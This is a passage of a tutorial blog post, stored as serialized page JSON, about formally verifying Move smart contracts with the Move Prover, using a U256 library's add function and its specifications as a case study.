A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":9262,"height":9263,"width":5724},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[9266,9267],"move","tutorial",{"type":20,"children":9269,"toc":13594},[9270,9289,9301,9307,9312,9317,9322,9331,9336,9350,9355,9361,9366,9380,9385,9522,9535,9540,9561,9595,9606,9611,9616,9626,9639,9981,9995,10013,10058,10071,10090,10262,10267,10272,10297,10302,10902,10914,10926,10931,10945,10950,10963,11003,11008,11040,11045,11050,11063,11448,11475,11682,11687,11699,11936,11941,11949,11968,12315,12320,12476,12481,12488,12502,12508,12513,12518,12524,12537,12769,12775,12780,12800,13069,13074,13080,13092,13097,13111,13117,13153,13253,13274,13280,13285,13290,13542,13547,13565,13569,13574,13579,13590],{"type":23,"tag":24,"props":9271,"children":9272},{},[9273,9275,9280,9282,9287],{"type":28,"value":9274},"Formal verification -- a powerful tool for ",{"type":23,"tag":2913,"props":9276,"children":9277},{},[9278],{"type":28,"value":9279},"proving",{"type":28,"value":9281}," the correctness of your programs. How does it ",{"type":23,"tag":2913,"props":9283,"children":9284},{},[9285],{"type":28,"value":9286},"actually",{"type":28,"value":9288}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":24,"props":9290,"children":9291},{},[9292,9294,9299],{"type":28,"value":9293},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":2913,"props":9295,"children":9296},{},[9297],{"type":28,"value":9298},"all",{"type":28,"value":9300}," possible inputs.",{"type":23,"tag":446,"props":9302,"children":9304},{"id":9303},"move-prover",[9305],{"type":28,"value":9306},"Move Prover",{"type":23,"tag":24,"props":9308,"children":9309},{},[9310],{"type":28,"value":9311},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":24,"props":9313,"children":9314},{},[9315],{"type":28,"value":9316},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":24,"props":9318,"children":9319},{},[9320],{"type":28,"value":9321},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":24,"props":9323,"children":9324},{},[9325],{"type":23,"tag":3918,"props":9326,"children":9330},{"alt":9327,"src":9328,"title":9329},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":24,"props":9332,"children":9333},{},[9334],{"type":28,"value":9335},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":24,"props":9337,"children":9338},{},[9339,9341,9348],{"type":28,"value":9340},"The model is translated into an intermediate language, called ",{"type":23,"tag":458,"props":9342,"children":9345},{"href":9343,"rel":9344},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[462],[9346],{"type":28,"value":9347},"Boogie",{"type":28,"value":9349},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":24,"props":9351,"children":9352},{},[9353],{"type":28,"value":9354},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":446,"props":9356,"children":9358},{"id":9357},"move-specification-language",[9359],{"type":28,"value":9360},"Move Specification Language",{"type":23,"tag":24,"props":9362,"children":9363},{},[9364],{"type":28,"value":9365},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":24,"props":9367,"children":9368},{},[9369,9371,9378],{"type":28,"value":9370},"To better understand how to use the MSL, we will use ",{"type":23,"tag":458,"props":9372,"children":9375},{"href":9373,"rel":9374},"https://github.com/pontem-network/u256",[462],[9376],{"type":28,"value":9377},"Pontem's U256 library",{"type":28,"value":9379},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":24,"props":9381,"children":9382},{},[9383],{"type":28,"value":9384},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":31,"props":9386,"children":9388},{"code":9387,"language":2981,"meta":7,"className":2982,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[9389],{"type":23,"tag":37,"props":9390,"children":9391},{"__ignoreMap":7},[9392,9435,9455,9475,9495,9515],{"type":23,"tag":41,"props":9393,"children":9394},{"class":43,"line":44},[9395,9400,9404,9409,9414,9418,9423,9427,9431],{"type":23,"tag":41,"props":9396,"children":9397},{"style":64},[9398],{"type":28,"value":9399},"struct",{"type":23,"tag":41,"props":9401,"children":9402},{"style":94},[9403],{"type":28,"value":4729},{"type":23,"tag":41,"props":9405,"children":9406},{"style":858},[9407],{"type":28,"value":9408}," has",{"type":23,"tag":41,"props":9410,"children":9411},{"style":858},[9412],{"type":28,"value":9413}," copy",{"type":23,"tag":41,"props":9415,"children":9416},{"style":70},[9417],{"type":28,"value":970},{"type":23,"tag":41,"props":9419,"children":9420},{"style":858},[9421],{"type":28,"value":9422},"drop",{"type":23,"tag":41,"props":9424,"children":9425},{"style":70},[9426],{"type":28,"value":970},{"type":23,"tag":41,"props":9428,"children":9429},{"style":858},[9430],{"type":28,"value":5940},{"type":23,"tag":41,"props":9432,"children":9433},{"style":70},[9434],{"type":28,"value":102},{"type":23,"tag":41,"props":9436,"children":9437},{"class":43,"line":54},[9438,9443,9447,9451],{"type":23,"tag":41,"props":9439,"children":9440},{"style":858},[9441],{"type":28,"value":9442},"    v0",{"type":23,"tag":41,"props":9444,"children":9445},{"style":170},[9446],{"type":28,"value":1474},{"type":23,"tag":41,"props":9448,"children":9449},{"style":94},[9450],{"type":28,"value":5860},{"type":23,"tag":41,"props":9452,"children":9453},{"style":70},[9454],{"type":28,"value":3506},{"type":23,"tag":41,"props":9456,"children":9457},{"class":43,"line":76},[9458,9463,9467,9471],{"type":23,"tag":41,"props":9459,"children":9460},{"style":858},[9461],{"type":28,"value":9462},"    v1",{"type":23,"tag":41,"props":9464,"children":9465},{"style":170},[9466],{"type":28,"value":1474},{"type":23,"tag":41,"props":9468,"children":9469},{"style":94},[9470],{"type":28,"value":5860},{"type":23,"tag":41,"props":9472,"children":9473},{"style":70},[9474],{"type":28,"value":3506},{"type":23,"tag":41,"props":9476,"children":9477},{"class":43,"line":85},[9478,9483,9487,9491],{"type":23,"tag":41,"props":9479,"children":9480},{"style":858},[9481],{"type":28,"value":9482},"    v2",{"type":23,"tag":41,"props":9484,"children":9485},{"style":170},[9486],{"type":28,"value":1474},{"type":23,"tag":41,"props":9488,"children":9489},{"style":94},[9490],{"type":28,"value":5860},{"type":23,"tag":41,"props":9492,"children":9493},{"style":70},[9494],{"type":28,"value":3506},{"type":23,"tag":41,"props":9496,"children":9497},{"class":43,"line":105},[9498,9503,9507,9511],{"type":23,"tag":41,"props":9499,"children":9500},{"style":858},[9501],{"type":28,"value":9502},"    v3",{"type":23,"tag":41,"props":9504,"children":9505},{"style":170},[9506],{"type":28,"value":1474},{"type":23,"tag":41,"props":9508,"children":9509},{"style":94},[9510],{"type":28,"value":5860},{"type":23,"tag":41,"props":9512,"children":9513},{"style":70},[9514],{"type":28,"value":3506},{"type":23,"tag":41,"props":9516,"children":9517},{"class":43,"line":155},[9518],{"type":23,"tag":41,"props":9519,"children":9520},{"style":70},[9521],{"type":28,"value":201},{"type":23,"tag":24,"props":9523,"children":9524},{},[9525,9527,9533],{"type":28,"value":9526},"Now, let's consider the ",{"type":23,"tag":37,"props":9528,"children":9530},{"className":9529},[],[9531],{"type":28,"value":9532},"add(a: U256, b: U256): U256",{"type":28,"value":9534}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":24,"props":9536,"children":9537},{},[9538],{"type":28,"value":9539},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":24,"props":9541,"children":9542},{},[9543,9545,9551,9553,9560],{"type":28,"value":9544},"For example, if your file is ",{"type":23,"tag":37,"props":9546,"children":9548},{"className":9547},[],[9549],{"type":28,"value":9550},"sources/u256.move",{"type":28,"value":9552},", you can put specifications in ",{"type":23,"tag":458,"props":9554,"children":9557},{"href":9555,"rel":9556},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[462],[9558],{"type":28,"value":9559},"sources/u256.spec.move",{"type":28,"value":706},{"type":23,"tag":31,"props":9562,"children":9564},{"code":9563,"language":2981,"meta":7,"className":2982,"style":7},"spec add { ... }\n",[9565],{"type":23,"tag":37,"props":9566,"children":9567},{"__ignoreMap":7},[9568],{"type":23,"tag":41,"props":9569,"children":9570},{"class":43,"line":44},[9571,9575,9580,9585,9590],{"type":23,"tag":41,"props":9572,"children":9573},{"style":858},[9574],{"type":28,"value":8274},{"type":23,"tag":41,"props":9576,"children":9577},{"style":858},[9578],{"type":28,"value":9579}," add",{"type":23,"tag":41,"props":9581,"children":9582},{"style":70},[9583],{"type":28,"value":9584}," { ",{"type":23,"tag":41,"props":9586,"children":9587},{"style":170},[9588],{"type":28,"value":9589},"...",{"type":23,"tag":41,"props":9591,"children":9592},{"style":70},[9593],{"type":28,"value":9594}," }\n",{"type":23,"tag":24,"props":9596,"children":9597},{},[9598,9600,9605],{"type":28,"value":9599},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":2913,"props":9601,"children":9602},{},[9603],{"type":28,"value":9604},"Expressions",{"type":28,"value":706},{"type":23,"tag":546,"props":9607,"children":9609},{"id":9608},"expressions",[9610],{"type":28,"value":9604},{"type":23,"tag":24,"props":9612,"children":9613},{},[9614],{"type":28,"value":9615},"Let's go over some common expressions.",{"type":23,"tag":24,"props":9617,"children":9618},{},[9619,9624],{"type":23,"tag":37,"props":9620,"children":9622},{"className":9621},[],[9623],{"type":28,"value":8324},{"type":28,"value":9625}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":24,"props":9627,"children":9628},{},[9629,9631,9637],{"type":28,"value":9630},"For example, the ",{"type":23,"tag":37,"props":9632,"children":9634},{"className":9633},[],[9635],{"type":28,"value":9636},"add",{"type":28,"value":9638}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":31,"props":9640,"children":9642},{"code":9641,"language":2981,"meta":7,"className":2982,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n    a.v0 +\n    a.v1 * P64 +\n    a.v2 * P64 * P64 +\n    a.v3 * P64 * P64 * P64\n}\n\nspec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[9643],{"type":23,"tag":37,"props":9644,"children":9645},{"__ignoreMap":7},[9646,9679,9686,9735,9757,9786,9823,9864,9871,9878,9893,9974],{"type":23,"tag":41,"props":9647,"children":9648},{"class":43,"line":44},[9649,9653,9658,9662,9666,9670,9675],{"type":23,"tag":41,"props":9650,"children":9651},{"style":64},[9652],{"type":28,"value":846},{"type":23,"tag":41,"props":9654,"children":9655},{"style":70},[9656],{"type":28,"value":9657}," P64",{"type":23,"tag":41,"props":9659,"children":9660},{"style":170},[9661],{"type":28,"value":1474},{"type":23,"tag":41,"props":9663,"children":9664},{"style":94},[9665],{"type":28,"value":8843},{"type":23,"tag":41,"props":9667,"children":9668},{"style":170},[9669],{"type":28,"value":3017},{"type":23,"tag":41,"props":9671,"children":9672},{"style":164},[9673],{"type":28,"value":9674}," 0x10000000000000000",{"type":23,"tag":41,"props":9676,"children":9677},{"style":70},[9678],{"type":28,"value":183},{"type":23,"tag":41,"props":9680,"children":9681},{"class":43,"line":54},[9682],{"type":23,"tag":41,"props":9683,"children":9684},{"emptyLinePlaceholder":18},[9685],{"type":28,"value":82},{"type":23,"tag":41,"props":9687,"children":9688},{"class":43,"line":76},[9689,9693,9697,9702,9706,9710,9714,9718,9722,9726,9731],{"type":23,"tag":41,"props":9690,"children":9691},{"style":858},[9692],{"type":28,"value":8274},{"type":23,"tag":41,"props":9694,"children":9695},{"style":858},[9696],{"type":28,"value":6205},{"type":23,"tag":41,"props":9698,"children":9699},{"style":114},[9700],{"type":28,"value":9701}," value_of_U256",{"type":23,"tag":41,"props":9703,"children":9704},{"style":70},[9705],{"type":28,"value":1737},{"type":23,"tag":41,"props":9707,"children":9708},{"style":858},[9709],{"type":28,"value":458},{"type":23,"tag":41,"props":9711,"children":9712},{"style":170},[9713],{"type":28,"value":1474},{"type":23,"tag":41,"props":9715,"children":9716},{"style":94},[9717],{"type":28,"value":4729},{"type":23,"tag":41,"props":9719,"children":9720},{"style":70},[9721],{"type":28,"value":2678},{"type":23,"tag":41,"props":9723,"children":9724},{"style":170},[9725],{"type":28,"value":1474},{"type":23,"tag":41,"props":9727,"children":9728},{"style":858},[9729],{"type":28,"value":9730}," num",{"type":23,"tag":41,"props":9732,"children":9733},{"style":70},[9734],{"type":28,"value":102},{"type":23,"tag":41,"props":9736,"children":9737},{"class":43,"line":85},[9738,9743,9747,9752],{"type":23,"tag":41,"props":9739,"children":9740},{"style":858},[9741],{"type":28,"value":9742},"    a",{"type":23,"tag":41,"props":9744,"children":9745},{"style":170},[9746],{"type":28,"value":706},{"type":23,"tag":41,"props":9748,"children":9749},{"style":70},[9750],{"type":28,"value":9751},"v0 ",{"type":23,"tag":41,"props":9753,"children":9754},{"style":170},[9755],{"type":28,"value":9756},"+\n",{"type":23,"tag":41,"props":9758,"children":9759},{"class":43,"line":105},[9760,9764,9768,9773,9777,9781],{"type":23,"tag":41,"props":9761,"children":9762},{"style":858},[9763],{"type":28,"value":9742},{"type":23,"tag":41,"props":9765,"children":9766},{"style":170},[9767],{"type":28,"value":706},{"type":23,"tag":41,"props":9769,"children":9770},{"style":70},[9771],{"type":28,"value":9772},"v1 ",{"type":23,"tag":41,"props":9774,"children":9775},{"style":170},[9776],{"type":28,"value":377},{"type":23,"tag":41,"props":9778,"children":9779},{"style":94},[9780],{"type":28,"value":9657},{"type":23,"tag":41,"props":9782,"children":9783},{"style":170},[9784],{"type":28,"value":9785}," +\n",{"type":23,"tag":41,"props":9787,"children":9788},{"class":43,"line":155},[9789,9793,9797,9802,9806,9810,9815,9819],{"type":23,"tag":41,"props":9790,"children":9791},{"style":858},[9792],{"type":28,"value":9742},{"type":23,"tag":41,"props":9794,"children":9795},{"style":170},[9796],{"type":28,"value":706},{"type":23,"tag":41,"props":9798,"children":9799},{"style":70},[9800],{"type":28,"value":9801},"v2 ",{"type":23,"tag":41,"props":9803,"children":9804},{"style":170},[9805],{"type":28,"value":377},{"type":23,"tag":41,"props":9807,"children":9808},{"style":94},[9809],{"type":28,"value":9657},{"type":23,"tag":41,"props":9811,"children":9812},{"style":170},[9813],{"type":28,"value":9814}," *",{"type":23,"tag":41,"props":9816,"children":9817},{"style":94},[9818],{"type":28,"value":9657},{"type":23,"tag":41,"props":9820,"children":9821},{"style":170},[9822],{"type":28,"value":9785},{"type":23,"tag":41,"props":9824,"children":9825},{"class":43,"line":186},[9826,9830,9834,9839,9843,9847,9851,9855,9859],{"type":23,"tag":41,"props":9827,"children":9828},{"style":858},[9829],{"type":28,"value":9742},{"type":23,"tag":41,"props":9831,"children":9832},{"style":170},[9833],{"type":28,"value":706},{"type":23,"tag":41,"props":9835,"children":9836},{"style":70},[9837],{"type":28,"value":9838},"v3 ",{"type":23,"tag":41,"props":9840,"children":9841},{"style":170},[9842],{"type":28,"value":377},{"type":23,"tag":41,"props":9844,"children":9845},{"style":94},[9846],{"type":28,"value":9657},{"type":23,"tag":41,"props":9848,"children":9849},{"style":170},[9850],{"type":28,"value":9814},{"type":23,"tag":41,"props":9852,"children":9853},{"style":94},[9854],{"type":28,"value":9657},{"type":23,"tag":41,"props":9856,"children":9857},{"style":170},[9858],{"type":28,"value":9814},{"type":23,"tag":41,"props":9860,"children":9861},{"style":94},[9862],{"type":28,"value":9863}," P64\n",{"type":23,"tag":41,"props":9865,"children":9866},{"class":43,"line":195},[9867],{"type":23,"tag":41,"props":9868,"children":9869},{"style":70},[9870],{"type":28,"value":201},{"type":23,"tag":41,"props":9872,"children":9873},{"class":43,"line":905},[9874],{"type":23,"tag":41,"props":9875,"children":9876},{"emptyLinePlaceholder":18},[9877],{"type":28,"value":82},{"type":23,"tag":41,"props":9879,"children":9880},{"class":43,"line":922},[9881,9885,9889],{"type":23,"tag":41,"props":9882,"children":9883},{"style":858},[9884],{"type":28,"value":8274},{"type":23,"tag":41,"props":9886,"children":9887},{"style":858},[9888],{"type":28,"value":9579},{"type":23,"tag":41,"props":9890,"children":9891},{"style":70},[9892],{"type":28,"value":102},{"type":23,"tag":41,"props":9894,"children":9895},{"class":43,"line":930},[9896,9901,9905,9909,9913,9917,9921,9925,9929,9933,9937,9942,9946,9950,9954,9958,9962,9966,9970],{"type":23,"tag":41,"props":9897,"children":9898},{"style":858},[9899],{"type":28,"value":9900},"    aborts_if",{"type":23,"tag":41,"props":9902,"children":9903},{"style":114},[9904],{"type":28,"value":9701},{"type":23,"tag":41,"props":9906,"children":9907},{"style":70},[9908],{"type":28,"value":1737},{"type":23,"tag":41,"props":9910,"children":9911},{"style":858},[9912],{"type":28,"value":458},{"type":23,"tag":41,"props":9914,"children":9915},{"style":70},[9916],{"type":28,"value":866},{"type":23,"tag":41,"props":9918,"children":9919},{"style":170},[9920],{"type":28,"value":4383},{"type":23,"tag":41,"props":9922,"children":9923},{"style":114},[9924],{"type":28,"value":9701},{"type":23,"tag":41,"props":9926,"children":9927},{"style":70},[9928],{"type":28,"value":1737},{"type":23,"tag":41,"props":9930,"children":9931},{"style":858},[9932],{"type":28,"value":3222},{"type":23,"tag":41,"props":9934,"children":9935},{"style":70},[9936],{"type":28,"value":866},{"type":23,"tag":41,"props":9938,"children":9939},{"style":170},[9940],{"type":28,"value":9941},">=",{"type":23,"tag":41,"props":9943,"children":9944},{"style":94},[9945],{"type":28,"value":9657},{"type":23,"tag":41,"props":9947,"children":9948},{"style":170},[9949],{"type":28,"value":9814},{"type":23,"tag":41,"props":9951,"children":9952},{"style":94},[9953],{"type":28,"value":9657},{"type":23,"tag":41,"props":9955,"children":9956},{"style":170},[9957],{"type":28,"value":9814},{"type":23,"tag":41,"props":9959,"children":9960},{"style":94},[9961],{"type":28,"value":9657},{"type":23,"tag":41,"props":9963,"children":9964},{"style":170},[9965],{"type":28,"value":9814},{"type":23,"tag":41,"props":9967,"children":9968},{"style":94},[9969],{"type":28,"value":9657},{"type":23,"tag":41,"props":9971,"children":9972},{"style":70},[9973],{"type":28,"value":183},{"type":23,"tag":41,"props":9975,"children":9976},{"class":43,"line":939},[9977],{"type":23,"tag":41,"props":9978,"children":9979},{"style":70},[9980],{"type":28,"value":201},{"type":23,"tag":24,"props":9982,"children":9983},{},[9984,9986,9993],{"type":28,"value":9985},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":458,"props":9987,"children":9990},{"href":9988,"rel":9989},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[462],[9991],{"type":28,"value":9992},"MSL function",{"type":28,"value":9994},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":24,"props":9996,"children":9997},{},[9998,10000,10005,10006,10011],{"type":28,"value":9999},"A common pattern for ",{"type":23,"tag":37,"props":10001,"children":10003},{"className":10002},[],[10004],{"type":28,"value":8324},{"type":28,"value":5501},{"type":23,"tag":37,"props":10007,"children":10009},{"className":10008},[],[10010],{"type":28,"value":8332},{"type":28,"value":10012},", which lets you prove that a function will never abort.",{"type":23,"tag":31,"props":10014,"children":10016},{"code":10015,"language":2981,"meta":7,"className":2982,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[10017],{"type":23,"tag":37,"props":10018,"children":10019},{"__ignoreMap":7},[10020,10036,10051],{"type":23,"tag":41,"props":10021,"children":10022},{"class":43,"line":44},[10023,10027,10032],{"type":23,"tag":41,"props":10024,"children":10025},{"style":858},[10026],{"type":28,"value":8274},{"type":23,"tag":41,"props":10028,"children":10029},{"style":858},[10030],{"type":28,"value":10031}," critical_function",{"type":23,"tag":41,"props":10033,"children":10034},{"style":70},[10035],{"type":28,"value":102},{"type":23,"tag":41,"props":10037,"children":10038},{"class":43,"line":54},[10039,10043,10047],{"type":23,"tag":41,"props":10040,"children":10041},{"style":858},[10042],{"type":28,"value":9900},{"type":23,"tag":41,"props":10044,"children":10045},{"style":64},[10046],{"type":28,"value":1095},{"type":23,"tag":41,"props":10048,"children":10049},{"style":70},[10050],{"type":28,"value":183},{"type":23,"tag":41,"props":10052,"children":10053},{"class":43,"line":76},[10054],{"type":23,"tag":41,"props":10055,"children":10056},{"style":70},[10057],{"type":28,"value":201},{"type":23,"tag":24,"props":10059,"children":10060},{},[10061,10063,10069],{"type":28,"value":10062},"Another type of expression that we can use is ",{"type":23,"tag":37,"props":10064,"children":10066},{"className":10065},[],[10067],{"type":28,"value":10068},"ensures",{"type":28,"value":10070},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":24,"props":10072,"children":10073},{},[10074,10076,10081,10083,10088],{"type":28,"value":10075},"In the case of the ",{"type":23,"tag":37,"props":10077,"children":10079},{"className":10078},[],[10080],{"type":28,"value":9636},{"type":28,"value":10082}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":510,"props":10084,"children":10085},{},[10086],{"type":28,"value":10087},"MSL uses unbounded numbers",{"type":28,"value":10089},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":31,"props":10091,"children":10093},{"code":10092,"language":2981,"meta":7,"className":2982,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[10094],{"type":23,"tag":37,"props":10095,"children":10096},{"__ignoreMap":7},[10097,10112,10191,10255],{"type":23,"tag":41,"props":10098,"children":10099},{"class":43,"line":44},[10100,10104,10108],{"type":23,"tag":41,"props":10101,"children":10102},{"style":858},[10103],{"type":28,"value":8274},{"type":23,"tag":41,"props":10105,"children":10106},{"style":858},[10107],{"type":28,"value":9579},{"type":23,"tag":41,"props":10109,"children":10110},{"style":70},[10111],{"type":28,"value":102},{"type":23,"tag":41,"props":10113,"children":10114},{"class":43,"line":54},[10115,10119,10123,10127,10131,10135,10139,10143,10147,10151,10155,10159,10163,10167,10171,10175,10179,10183,10187],{"type":23,"tag":41,"props":10116,"children":10117},{"style":858},[10118],{"type":28,"value":9900},{"type":23,"tag":41,"props":10120,"children":10121},{"style":114},[10122],{"type":28,"value":9701},{"type":23,"tag":41,"props":10124,"children":10125},{"style":70},[10126],{"type":28,"value":1737},{"type":23,"tag":41,"props":10128,"children":10129},{"style":858},[10130],{"type":28,"value":458},{"type":23,"tag":41,"props":10132,"children":10133},{"style":70},[10134],{"type":28,"value":866},{"type":23,"tag":41,"props":10136,"children":10137},{"style":170},[10138],{"type":28,"value":4383},{"type":23,"tag":41,"props":10140,"children":10141},{"style":114},[10142],{"type":28,"value":9701},{"type":23,"tag":41,"props":10144,"children":10145},{"style":70},[10146],{"type":28,"value":1737},{"type":23,"tag":41,"props":10148,"children":10149},{"style":858},[10150],{"type":28,"value":3222},{"type":23,"tag":41,"props":10152,"children":10153},{"style":70},[10154],{"type":28,"value":866},{"type":23,"tag":41,"props":10156,"children":10157},{"style":170},[10158],{"type":28,"value":9941},{"type":23,"tag":41,"props":10160,"children":10161},{"style":94},[10162],{"type":28,"value":9657},{"type":23,"tag":41,"props":10164,"children":10165},{"style":170},[10166],{"type":28,"value":9814},{"type":23,"tag":41,"props":10168,"children":10169},{"style":94},[10170],{"type":28,"value":9657},{"type":23,"tag":41,"props":10172,"children":10173},{"style":170},[10174],{"type":28,"value":9814},{"type":23,"tag":41,"props":10176,"children":10177},{"style":94},[10178],{"type":28,"value":9657},{"type":23,"tag":41,"props":10180,"children":10181},{"style":170},[10182],{"type":28,"value":9814},{"type":23,"tag":41,"props":10184,"children":10185},{"style":94},[10186],{"type":28,"value":9657},{"type":23,"tag":41,"props":10188,"children":10189},{"style":70},[10190],{"type":28,"value":183},{"type":23,"tag":41,"props":10192,"children":10193},{"class":43,"line":76},[10194,10199,10203,10207,10211,10215,10219,10223,10227,10231,10235,10239,10243,10247,10251],{"type":23,"tag":41,"props":10195,"children":10196},{"style":858},[10197],{"type":28,"value":10198},"    ensures",{"type":23,"tag":41,"props":10200,"children":10201},{"style":114},[10202],{"type":28,"value":9701},{"type":23,"tag":41,"props":10204,"children":10205},{"style":70},[10206],{"type":28,"value":1737},{"type":23,"tag":41,"props":10208,"children":10209},{"style":858},[10210],{"type":28,"value":9079},{"type":23,"tag":41,"props":10212,"children":10213},{"style":70},[10214],{"type":28,"value":866},{"type":23,"tag":41,"props":10216,"children":10217},{"style":170},[10218],{"type":28,"value":387},{"type":23,"tag":41,"props":10220,"children":10221},{"style":114},[10222],{"type":28,"value":9701},{"type":23,"tag":41,"props":10224,"children":10225},{"style":70},[10226],{"type":28,"value":1737},{"type":23,"tag":41,"props":10228,"children":10229},{"style":858},[10230],{"type":28,"value":458},{"type":23,"tag":41,"props":10232,"children":10233},{"style":70},[10234],{"type":28,"value":866},{"type":23,"tag":41,"props":10236,"children":10237},{"style":170},[10238],{"type":28,"value":4383},{"type":23,"tag":41,"props":10240,"children":10241},{"style":114},[10242],{"type":28,"value":9701},{"type":23,"tag":41,"props":10244,"children":10245},{"style":70},[10246],{"type":28,"value":1737},{"type":23,"tag":41,"props":10248,"children":10249},{"style":858},[10250],{"type":28,"value":3222},{"type":23,"tag":41,"props":10252,"children":10253},{"style":70},[10254],{"type":28,"value":3825},{"type":23,"tag":41,"props":10256,"children":10257},{"class":43,"line":85},[10258],{"type":23,"tag":41,"props":10259,"children":10260},{"style":70},[10261],{"type":28,"value":201},{"type":23,"tag":24,"props":10263,"children":10264},{},[10265],{"type":28,"value":10266},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":24,"props":10268,"children":10269},{},[10270],{"type":28,"value":10271},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":31,"props":10273,"children":10275},{"code":10274,"language":1205,"meta":7,"className":1206,"style":7},"$ move prove\n",[10276],{"type":23,"tag":37,"props":10277,"children":10278},{"__ignoreMap":7},[10279],{"type":23,"tag":41,"props":10280,"children":10281},{"class":43,"line":44},[10282,10287,10292],{"type":23,"tag":41,"props":10283,"children":10284},{"style":114},[10285],{"type":28,"value":10286},"$",{"type":23,"tag":41,"props":10288,"children":10289},{"style":735},[10290],{"type":28,"value":10291}," move",{"type":23,"tag":41,"props":10293,"children":10294},{"style":735},[10295],{"type":28,"value":10296}," prove\n",{"type":23,"tag":24,"props":10298,"children":10299},{},[10300],{"type":28,"value":10301},"It outputs the following error information:",{"type":23,"tag":31,"props":10303,"children":10305},{"code":10304,"language":1205,"meta":7,"className":1206,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[10306],{"type":23,"tag":37,"props":10307,"children":10308},{"__ignoreMap":7},[10309,10317,10324,10386,10407,10496,10564,10576,10584,10591,10598,10605,10623,10684,10701,10718,10790,10806,10814,10821,10871,10878,10895],{"type":23,"tag":41,"props":10310,"children":10311},{"class":43,"line":44},[10312],{"type":23,"tag":41,"props":10313,"children":10314},{"style":70},[10315],{"type":28,"value":10316},"[...]\n",{"type":23,"tag":41,"props":10318,"children":10319},{"class":43,"line":54},[10320],{"type":23,"tag":41,"props":10321,"children":10322},{"emptyLinePlaceholder":18},[10323],{"type":28,"value":82},{"type":23,"tag":41,"props":10325,"children":10326},{"class":43,"line":76},[10327,10332,10337,10342,10347,10352,10357,10362,10367,10372,10376,10381],{"type":23,"tag":41,"props":10328,"children":10329},{"style":114},[10330],{"type":28,"value":10331},"error:",{"type":23,"tag":41,"props":10333,"children":10334},{"style":735},[10335],{"type":28,"value":10336}," abort",{"type":23,"tag":41,"props":10338,"children":10339},{"style":735},[10340],{"type":28,"value":10341}," not",{"type":23,"tag":41,"props":10343,"children":10344},{"style":735},[10345],{"type":28,"value":10346}," covered",{"type":23,"tag":41,"props":10348,"children":10349},{"style":735},[10350],{"type":28,"value":10351}," by",{"type":23,"tag":41,"props":10353,"children":10354},{"style":735},[10355],{"type":28,"value":10356}," any",{"type":23,"tag":41,"props":10358,"children":10359},{"style":735},[10360],{"type":28,"value":10361}," of",{"type":23,"tag":41,"props":10363,"children":10364},{"style":735},[10365],{"type":28,"value":10366}," 